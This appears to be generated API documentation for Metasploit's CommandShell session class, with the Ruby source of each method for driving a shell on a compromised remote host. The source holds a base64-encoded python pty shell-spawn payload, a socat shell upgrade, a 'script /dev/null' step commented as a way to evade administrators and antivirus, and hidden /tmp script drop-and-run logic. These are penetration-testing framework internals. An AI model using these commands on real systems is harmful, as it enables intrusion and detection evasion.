Class: Msf::Sessions::CommandShell

Inherits:
Object
  • Object
show all
Includes:
Msf::Session::Basic, Msf::Session::Provider::SingleCommandShell, Msf::Session::Scriptable, Rex::Ui::Text::Resource
Defined in:
lib/msf/base/sessions/command_shell.rb

Overview

This class provides basic interaction with a command shell on the remote endpoint. This session is initialized with a stream that will be used as the pipe for reading and writing the command shell.

Constant Summary collapse

@@irb_opts =
Rex::Parser::Arguments.new(
  '-h' => [false, 'Help menu.'             ],
  '-e' => [true,  'Expression to evaluate.']
)

Instance Attribute Summary collapse

Attributes included from Msf::Session::Interactive

#rstream

Attributes included from Rex::Ui::Interactive

#completed, #interacting, #next_session, #on_command_proc, #on_print_proc, #orig_suspend, #orig_usr1

Attributes included from Rex::Ui::Subscriber::Input

#user_input

Attributes included from Rex::Ui::Subscriber::Output

#user_output

Attributes included from Msf::Session

#alive, #db_record, #exploit, #exploit_datastore, #exploit_task, #exploit_uuid, #framework, #info, #machine_id, #payload_uuid, #routes, #sid, #sname, #target_host, #target_port, #username, #uuid, #via, #workspace

Attributes included from Framework::Offspring

#framework

Class Method Summary collapse

Instance Method Summary collapse

Methods included from Rex::Ui::Text::Resource

#load_resource

Methods included from Msf::Session::Scriptable

#execute_script, included, #legacy_script_to_post_module

Methods included from Msf::Session::Provider::SingleCommandShell

#set_shell_token_index, #shell_command_token, #shell_command_token_unix, #shell_command_token_win32, #shell_read_until_token

Methods included from Msf::Session::Interactive

#_interact_complete, #_interrupt, #_suspend, #_usr1, #interactive?, #kill, #run_cmd, #tunnel_local, #tunnel_peer, #user_want_abort?

Methods included from Rex::Ui::Interactive

#_interact_complete, #_interrupt, #_local_fd, #_remote_fd, #_stream_read_local_write_remote, #_stream_read_remote_write_local, #_suspend, #detach, #handle_suspend, #handle_usr1, #interact, #interact_stream, #prompt, #prompt_yesno, #restore_suspend, #restore_usr1

Methods included from Rex::Ui::Subscriber

#copy_ui, #init_ui, #reset_ui

Methods included from Rex::Ui::Subscriber::Input

#gets

Methods included from Rex::Ui::Subscriber::Output

#flush, #print, #print_blank_line, #print_error, #print_good, #print_line, #print_status, #print_warning

Methods included from Msf::Session

#alive?, #dead?, #inspect, #interactive?, #kill, #log_file_name, #log_source, #name, #name=, #register?, #session_host, #session_host=, #session_port, #session_port=, #session_type, #set_from_exploit, #set_via, #tunnel_local, #tunnel_peer, #tunnel_to_s, #via_exploit, #via_payload

Constructor Details

#initialize(conn, opts = {}) ⇒ CommandShell

Returns a new instance of CommandShell.


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# File 'lib/msf/base/sessions/command_shell.rb', line 59

def initialize(conn, opts = {})
  self.platform ||= ""
  self.arch     ||= ""
  self.max_threads = 1
  @cleanup = false
  datastore = opts[:datastore]
  if datastore && !datastore["CommandShellCleanupCommand"].blank?
    @cleanup_command = datastore["CommandShellCleanupCommand"]
  end
  super
end

Instance Attribute Details

#archObject

Returns the value of attribute arch


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# File 'lib/msf/base/sessions/command_shell.rb', line 732

def arch
  @arch
end

#max_threadsObject

Returns the value of attribute max_threads


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# File 'lib/msf/base/sessions/command_shell.rb', line 734

def max_threads
  @max_threads
end

#platformObject

Returns the value of attribute platform


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# File 'lib/msf/base/sessions/command_shell.rb', line 733

def platform
  @platform
end

Class Method Details

.typeObject

Returns the type of session.


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# File 'lib/msf/base/sessions/command_shell.rb', line 55

def self.type
  "shell"
end

Instance Method Details

#_interactObject (protected)

:category: Msf::Session::Interactive implementors

Override the basic session interaction to use shell_read and shell_write instead of operating on rstream directly.


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# File 'lib/msf/base/sessions/command_shell.rb', line 743

def _interact
  framework.events.on_session_interact(self)
  _interact_stream
end

#_interact_streamObject (protected)

:category: Msf::Session::Interactive implementors


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# File 'lib/msf/base/sessions/command_shell.rb', line 751

def _interact_stream
  fds = [rstream.fd, user_input.fd]
  while self.interacting
    sd = Rex::ThreadSafe.select(fds, nil, fds, 0.5)
    next unless sd

    if sd[0].include? rstream.fd
      user_output.print(shell_read)
    end
    if sd[0].include? user_input.fd
      run_single((user_input.gets || '').chomp("\n"))
    end
    Thread.pass
  end
end

#binary_exists(binary) ⇒ Object

Check if there is a binary in PATH env


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# File 'lib/msf/base/sessions/command_shell.rb', line 324

def binary_exists(binary)
  print_status("Trying to find binary(#{binary}) on target machine")
  binary_path = shell_command_token("which #{binary}").to_s.strip
  if binary_path.eql?("#{binary} not found")
    print_error(binary_path)
    return nil
  else
    print_status("Found #{binary} at #{binary_path}")
    return binary_path
  end
end

#cleanupObject

:category: Msf::Session implementors

Closes the shell.


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# File 'lib/msf/base/sessions/command_shell.rb', line 681

def cleanup
  return if @cleanup

  @cleanup = true
  if rstream
    if !@cleanup_command.blank?
      # this is a best effort, since the session is possibly already dead
      shell_command_token(@cleanup_command) rescue nil

      # we should only ever cleanup once
      @cleanup_command = nil
    end

    # this is also a best-effort
    rstream.close rescue nil
    rstream = nil
  end
  super
end

#cmd_background(*args) ⇒ Object


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# File 'lib/msf/base/sessions/command_shell.rb', line 164

def cmd_background(*args)
  if !args.empty?
    # We assume that background does not need arguments
    # If user input does not follow this specification
    # Then show help (Including '-h' '--help'...)
    return cmd_background_help
  end

  if prompt_yesno("Background session #{name}?")
    self.interacting = false
  end
end

#cmd_background_helpObject


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# File 'lib/msf/base/sessions/command_shell.rb', line 157

def cmd_background_help
  print_line "Usage: background"
  print_line
  print_line "Stop interacting with this session and return to the parent prompt"
  print_line
end

#cmd_download(*args) ⇒ Object


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# File 'lib/msf/base/sessions/command_shell.rb', line 365

def cmd_download(*args)
  if args.length != 2
    # no argumnets, just print help message
    return cmd_download_help
  end

  src = args[0]
  dst = args[1]

  # Check if src exists
  if !file_exists(src)
    print_error("The target file does not exists")
    return
  end

  # Get file content
  print_status("Download #{src} => #{dst}")
  content = shell_command("cat #{src}")

  # Write file to local machine
  file = File.open(dst, "wb")
  file.write(content)
  file.close
  print_good("Done")
end

#cmd_download_helpObject


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# File 'lib/msf/base/sessions/command_shell.rb', line 357

def cmd_download_help
  print_line("Usage: download [src] [dst]")
  print_line
  print_line("Downloads remote files to the local machine.")
  print_line("This command does not support to download a FOLDER yet")
  print_line
end

#cmd_help(*args) ⇒ Object


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# File 'lib/msf/base/sessions/command_shell.rb', line 124

def cmd_help(*args)
  cmd = args.shift

  if cmd
    unless commands.key?(cmd)
      return print_error('No such command')
    end

    unless respond_to?("cmd_#{cmd}_help")
      return print_error("No help for #{cmd}, try -h")
    end

    return send("cmd_#{cmd}_help")
  end

  columns = ['Command', 'Description']

  tbl = Rex::Text::Table.new(
    'Header'  => 'Meta shell commands',
    'Prefix'  => "\n",
    'Postfix' => "\n",
    'Indent'  => 4,
    'Columns' => columns,
    'SortIndex' => -1
  )

  commands.each do |key, value|
    tbl << [key, value]
  end

  print(tbl.to_s)
end

#cmd_help_helpObject


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# File 'lib/msf/base/sessions/command_shell.rb', line 120

def cmd_help_help
  print_line "There's only so much I can do"
end

#cmd_irb(*args) ⇒ Object

Open an interactive Ruby shell on the current session


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# File 'lib/msf/base/sessions/command_shell.rb', line 520

def cmd_irb(*args)
  expressions = []

  # Parse the command options
  @@irb_opts.parse(args) do |opt, idx, val|
    case opt
    when '-e'
      expressions << val
    when '-h'
      return cmd_irb_help
    end
  end

  session = self
  framework = self.framework

  if expressions.empty?
    print_status('Starting IRB shell...')
    print_status("You are in the \"self\" (session) object\n")

    Rex::Ui::Text::IrbShell.new(self).run
  else
    # XXX: No vprint_status here
    if framework.datastore['VERBOSE'].to_s == 'true'
      print_status("You are executing expressions in #{binding.receiver}")
    end

    expressions.each { |expression| eval(expression, binding) }
  end
end

#cmd_irb_helpObject


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# File 'lib/msf/base/sessions/command_shell.rb', line 510

def cmd_irb_help
  print_line('Usage: irb')
  print_line
  print_line('Open an interactive Ruby shell on the current session.')
  print @@irb_opts.usage
end

#cmd_pry(*args) ⇒ Object

Open the Pry debugger on the current session


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# File 'lib/msf/base/sessions/command_shell.rb', line 561

def cmd_pry(*args)
  if args.include?('-h')
    cmd_pry_help
    return
  end

  begin
    require 'pry'
  rescue LoadError
    print_error('Failed to load Pry, try "gem install pry"')
    return
  end

  print_status('Starting Pry shell...')
  print_status("You are in the \"self\" (session) object\n")

  self.pry
end

#cmd_pry_helpObject


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# File 'lib/msf/base/sessions/command_shell.rb', line 551

def cmd_pry_help
  print_line 'Usage: pry'
  print_line
  print_line 'Open the Pry debugger on the current session.'
  print_line
end

#cmd_resource(*args) ⇒ Object


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# File 'lib/msf/base/sessions/command_shell.rb', line 214

def cmd_resource(*args)
  if args.empty?
    cmd_resource_help
    return false
  end

  args.each do |res|
    good_res = nil
    if res == '-'
      good_res = res
    elsif ::File.exist?(res)
      good_res = res
    elsif
      # let's check to see if it's in the scripts/resource dir (like when tab completed)
    [
        ::Msf::Config.script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter',
        ::Msf::Config.user_script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter'
    ].each do |dir|
      res_path = ::File::join(dir, res)
      if ::File.exist?(res_path)
        good_res = res_path
        break
      end
    end
    end
    if good_res
      print_status("Executing resource script #{good_res}")
      load_resource(good_res)
      print_status("Resource script #{good_res} complete")
    else
      print_error("#{res} is not a valid resource file")
      next
    end
  end
end

#cmd_resource_helpObject


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# File 'lib/msf/base/sessions/command_shell.rb', line 250

def cmd_resource_help
  print_line "Usage: resource path1 [path2 ...]"
  print_line
  print_line "Run the commands stored in the supplied files. (- for stdin, press CTRL+D to end input from stdin)"
  print_line "Resource files may also contain ERB or Ruby code between <ruby></ruby> tags."
  print_line
end

#cmd_sessions(*args) ⇒ Object


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# File 'lib/msf/base/sessions/command_shell.rb', line 186

def cmd_sessions(*args)
  if args.length.zero? || args[0].to_i <= 0
    # No args
    return cmd_sessions_help
  end

  if args.length == 1 && (args[1] == '-h' || args[1] == 'help')
    # One arg, and args[1] => '-h' '-H' 'help'
    return cmd_sessions_help
  end

  if args.length != 1
    # More than one argument
    return cmd_sessions_help
  end

  if args[0].to_s == self.name.to_s
    # Src == Dst
    print_status("Session #{self.name} is already interactive.")
  else
    print_status("Backgrounding session #{self.name}...")
    # store the next session id so that it can be referenced as soon
    # as this session is no longer interacting
    self.next_session = args[0]
    self.interacting = false
  end
end

#cmd_sessions_helpObject


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# File 'lib/msf/base/sessions/command_shell.rb', line 177

def cmd_sessions_help
  print_line('Usage: sessions <id>')
  print_line
  print_line('Interact with a different session Id.')
  print_line('This command only accepts one positive numeric argument.')
  print_line('This works the same as calling this from the MSF shell: sessions -i <session id>')
  print_line
end

#cmd_shell(*args) ⇒ Object


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# File 'lib/msf/base/sessions/command_shell.rb', line 271

def cmd_shell(*args)
  if args.length == 1 && (args[1] == '-h' || args[1] == 'help')
    # One arg, and args[1] => '-h' '-H' 'help'
    return cmd_sessions_help
  end

  # Why `/bin/sh` not `/bin/bash`, some machine may not have `/bin/bash` installed, just in case.
  # 1. Using python
  # 1.1 Check Python installed or not
  # We do not need to care about the python version
  # Beacuse python2 and python3 have the same payload of spawn a shell
  python_path = binary_exists("python")
  if python_path != nil
    # Payload: import pty;pty.spawn('/bin/sh')
    # Base64 encoded payload: aW1wb3J0IHB0eTtwdHkuc3Bhd24oJy9iaW4vc2gnKQ==
    print_status("Using `python` to pop up an interactive shell")
    shell_command("#{python_path} -c 'exec(\"aW1wb3J0IHB0eTtwdHkuc3Bhd24oJy9iaW4vc2gnKQ==\".decode(\"base64\"))'")
    return
  end

  # 2. Using script
  script_path = binary_exists("script")
  if script_path != nil
    print_status("Using `script` to pop up an interactive shell")
    # Payload: script /dev/null
    # Using /dev/null to make sure there is no log file on the target machine
    # Prevent being detected by the admin or antivirus softwares
    shell_command("#{script_path} /dev/null")
    return
  end

  # 3. Using socat
  socat_path = binary_exists("socat")
  if socat_path != nil
    # Payload: socat - exec:'bash -li',pty,stderr,setsid,sigint,sane
    print_status("Using `socat` to pop up an interactive shell")
    shell_command("#{socat_path} - exec:'/bin/sh -li',pty,stderr,setsid,sigint,sane")
    return
  end

  # 4. Using pty program
  # 4.1 Detect arch and destribution
  # 4.2 Real time compiling
  # 4.3 Upload binary
  # 4.4 Change mode of binary
  # 4.5 Execute binary

  print_error("Can not pop up an interactive shell")
end

#cmd_shell_helpObject


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# File 'lib/msf/base/sessions/command_shell.rb', line 258

def cmd_shell_help()
  print_line('Usage: shell')
  print_line
  print_line('Pop up an interactive shell via multi methods.')
  print_line('An interactive shell means that you can use several useful commands like `passwd`, `su [username]`')
  print_line('There are three implementation of it: ')
  print_line('\t1. using python `pty` module (default choice)')
  print_line('\t2. using `socat` command')
  print_line('\t3. using `script` command')
  print_line('\t4. upload a pty program via reverse shell')
  print_line
end

#cmd_source(*args) ⇒ Object


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# File 'lib/msf/base/sessions/command_shell.rb', line 483

def cmd_source(*args)
  if args.length != 2
    # no argumnets, just print help message
    return cmd_source_help
  end

  background = args[1].downcase == 'y'

  local_file = args[0]
  remote_file = "/tmp/." + ::Rex::Text.rand_text_alpha(32) + ".sh"

  cmd_upload(local_file, remote_file)

  # Change file permission in case of TOCTOU
  shell_command("chmod 0600 #{remote_file}")

  if background
    print_status("Executing on remote machine background")
    print_line(shell_command("nohup sh -x #{remote_file} &"))
  else
    print_status("Executing on remote machine foreground")
    print_line(shell_command("sh -x #{remote_file}"))
  end
  print_status("Cleaning temp file on remote machine")
  shell_command("rm -rf '#{remote_file}'")
end

#cmd_source_helpObject


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# File 'lib/msf/base/sessions/command_shell.rb', line 473

def cmd_source_help
  print_line("Usage: source [file] [background]")
  print_line
  print_line("Execute a local shell script file on remote machine")
  print_line("This meta command will upload the script then execute it on the remote machine")
  print_line
  print_line("background")
  print_line("`y` represent execute the script in background, `n` represent on foreground")
end

#cmd_upload(*args) ⇒ Object


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# File 'lib/msf/base/sessions/command_shell.rb', line 399

def cmd_upload(*args)
  if args.length != 2
    # no argumnets, just print help message
    return cmd_upload_help
  end

  src = args[0]
  dst = args[1]

  # Check target file exists on the target machine
  if file_exists(dst)
    print_warning("The file <#{dst}> already exists on the target machine")
    if prompt_yesno("Overwrite the target file <#{dst}>?")
      # Create an empty file on the target machine
      # Notice here does not check the permission of the target file (folder)
      # So if you generate a reverse shell with out redirection the STDERR
      # you will not realise that the current user does not have permission to write to the target file
      # IMPORTANT:
      #   assume(the current have the write access on the target file)
      #   if (the current user can not write on the target file) && (stderr did not redirected)
      #     No error reporting, you must check the file created or not manually
      result = shell_command_token("cat /dev/null > #{dst}")
      if !result.empty?
        print_error("Create new file on the target machine failed. (#{result})")
        return
      end
      print_good("Create new file on the target machine succeed")
    else
      return
    end
  end

  buffer_size = 0x100

  begin
    # Open local file
    src_fd = open src
    # Get local file size
    src_size = File.size(src)
    # Calc how many time to append to the remote file
    times = src_size / buffer_size + (src_size % buffer_size == 0 ? 0 : 1)
    print_status("File <#{src}> size: #{src_size}, need #{times} times writes to upload")
    # Start transfer

    for i in 1..times do
      print_status("Uploading (#{i * buffer_size}/#{src_size})")
      chunk = src_fd.read(buffer_size)
      chunk_repr = repr(chunk)
      result = shell_command_token("echo -ne '#{chunk_repr}' >> #{dst}")
      if !result.empty?
        print_error("Appending content to the target file <#{dst}> failed. (#{result})")
        # Do some cleanup
        # Delete the target file
        shell_command_token("rm -rf '#{dst}'")
        print_status("Target file <#{dst}> deleted")
        return
      end
    end
    print_good("File <#{dst}> upload finished")
  rescue
    print_error("Error occurs while uploading <#{src}> to <#{dst}> ")
    return
  end
end

#cmd_upload_helpObject


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# File 'lib/msf/base/sessions/command_shell.rb', line 391

def cmd_upload_help
  print_line("Usage: upload [src] [dst]")
  print_line
  print_line("Uploads load file to the victim machine.")
  print_line("This command does not support to upload a FOLDER yet")
  print_line
end

#commandsObject

List of supported commands.


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# File 'lib/msf/base/sessions/command_shell.rb', line 105

def commands
  {
    'help'       => 'Help menu',
    'background' => 'Backgrounds the current shell session',
    'sessions'   => 'Quickly switch to another session',
    'resource'   => 'Run a meta commands script stored in a local file',
    'shell'      => 'Spawn an interactive shell (*NIX Only)',
    'download'   => 'Download files (*NIX Only)',
    'upload'     => 'Upload files (*NIX Only)',
    'source'     => 'Run a shell script on remote machine (*NIX Only)',
    'irb'        => 'Open an interactive Ruby shell on the current session',
    'pry'        => 'Open the Pry debugger on the current session'
  }
end

#descObject

Returns the session description.


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# File 'lib/msf/base/sessions/command_shell.rb', line 74

def desc
  "Command shell"
end

#docs_dirObject

Return the subdir of the `documentation/` directory that should be used to find usage documentation


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# File 'lib/msf/base/sessions/command_shell.rb', line 98

def docs_dir
  File.join(super, 'shell_session')
end

#execute_file(full_path, args) ⇒ Object

:category: Msf::Session::Scriptable implementors

Runs the shell session script or resource file.


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# File 'lib/msf/base/sessions/command_shell.rb', line 44

def execute_file(full_path, args)
  if File.extname(full_path) == '.rb'
    Rex::Script::Shell.new(self, full_path).run(args)
  else
    load_resource(full_path)
  end
end

#file_exists(path) ⇒ Object

Check if there is a file on the target machine


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# File 'lib/msf/base/sessions/command_shell.rb', line 339

def file_exists(path)
  # Use `ls` command to check file exists
  # If file exists, `ls [path]` will echo the varible `path`
  # Or `ls` command will report an error message
  # But we can not ensure that the implementation of ls command are the same on different destribution
  # So just check the success flag not error message
  # eg:
  # $ ls /etc/passwd
  # /etc/passwd
  # $ ls /etc/nosuchfile
  # ls: cannot access '/etc/nosuchfile': No such file or directory
  result = shell_command_token("ls #{path}").to_s.strip
  if result.eql?(path)
    return true
  end
  return false
end

#process_autoruns(datastore) ⇒ Object

Execute any specified auto-run scripts for this session


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# File 'lib/msf/base/sessions/command_shell.rb', line 704

def process_autoruns(datastore)
  # Read the initial output and mash it into a single line
  if (not self.info or self.info.empty?)
    initial_output = shell_read(-1, 0.01)
    if (initial_output)
      initial_output.force_encoding("ASCII-8BIT") if initial_output.respond_to?(:force_encoding)
      initial_output.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"_")
      initial_output.gsub!(/[\r\n\t]+/, ' ')
      initial_output.strip!

      # Set the inital output to .info
      self.info = initial_output
    end
  end

  if datastore['InitialAutoRunScript'] && !datastore['InitialAutoRunScript'].empty?
    args = Shellwords.shellwords( datastore['InitialAutoRunScript'] )
    print_status("Session ID #{sid} (#{tunnel_to_s}) processing InitialAutoRunScript '#{datastore['InitialAutoRunScript']}'")
    execute_script(args.shift, *args)
  end

  if (datastore['AutoRunScript'] && datastore['AutoRunScript'].empty? == false)
    args = Shellwords.shellwords( datastore['AutoRunScript'] )
    print_status("Session ID #{sid} (#{tunnel_to_s}) processing AutoRunScript '#{datastore['AutoRunScript']}'")
    execute_script(args.shift, *args)
  end
end

#repr(data) ⇒ Object


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# File 'lib/msf/base/sessions/command_shell.rb', line 464

def repr(data)
  data_repr = ''
  data.each_char {|c|
    data_repr << "\\x"
    data_repr << c.unpack("H*")[0]
  }
  return data_repr
end

#run_builtin_cmd(method, arguments) ⇒ Object

Run built-in command


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# File 'lib/msf/base/sessions/command_shell.rb', line 602

def run_builtin_cmd(method, arguments)
  # Dynamic function call
  self.send('cmd_' + method, *arguments)
end

#run_single(cmd) ⇒ Object

Explicitly runs a single line command.


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# File 'lib/msf/base/sessions/command_shell.rb', line 583

def run_single(cmd)
  # Do nil check for cmd (CTRL+D will cause nil error)
  return unless cmd

  arguments = Shellwords.shellwords(cmd)
  method    = arguments.shift

  # Built-in command
  if commands.key?(method)
    return run_builtin_cmd(method, arguments)
  end

  # User input is not a built-in command, write to socket directly
  shell_write(cmd + "\n")
end

#shell_closeObject

:category: Msf::Session::Provider::SingleCommandShell implementors

Closes the shell. Note: parent's 'self.kill' method calls cleanup below.


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# File 'lib/msf/base/sessions/command_shell.rb', line 672

def shell_close()
  self.kill
end

#shell_command(cmd) ⇒ Object

:category: Msf::Session::Provider::SingleCommandShell implementors

Explicitly run a single command, return the output.


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# File 'lib/msf/base/sessions/command_shell.rb', line 612

def shell_command(cmd)
  # Send the command to the session's stdin.
  shell_write(cmd + "\n")

  timeo = 5
  etime = ::Time.now.to_f + timeo
  buff = ""

  # Keep reading data until no more data is available or the timeout is
  # reached.
  while (::Time.now.to_f < etime and (self.respond_to?(:ring) or ::IO.select([rstream], nil, nil, timeo)))
    res = shell_read(-1, 0.01)
    buff << res if res
    timeo = etime - ::Time.now.to_f
  end

  buff
end

#shell_initObject

:category: Msf::Session::Provider::SingleCommandShell implementors

The shell will have been initialized by default.


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# File 'lib/msf/base/sessions/command_shell.rb', line 90

def shell_init
  return true
end

#shell_read(length = -1,, timeout = 1) ⇒ Object

:category: Msf::Session::Provider::SingleCommandShell implementors

Read from the command shell.


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# File 'lib/msf/base/sessions/command_shell.rb', line 636

def shell_read(length=-1, timeout=1)
  begin
    rv = rstream.get_once(length, timeout)
    framework.events.on_session_output(self, rv) if rv
    return rv
  rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e
    #print_error("Socket error: #{e.class}: #{e}")
    shell_close
    raise e
  end
end

#shell_write(buf) ⇒ Object

:category: Msf::Session::Provider::SingleCommandShell implementors

Writes to the command shell.


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# File 'lib/msf/base/sessions/command_shell.rb', line 653

def shell_write(buf)
  return unless buf

  begin
    framework.events.on_session_command(self, buf.strip)
    rstream.write(buf)
  rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e
    #print_error("Socket error: #{e.class}: #{e}")
    shell_close
    raise e
  end
end

#typeObject

Calls the class method


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# File 'lib/msf/base/sessions/command_shell.rb', line 81

def type
  self.class.type
end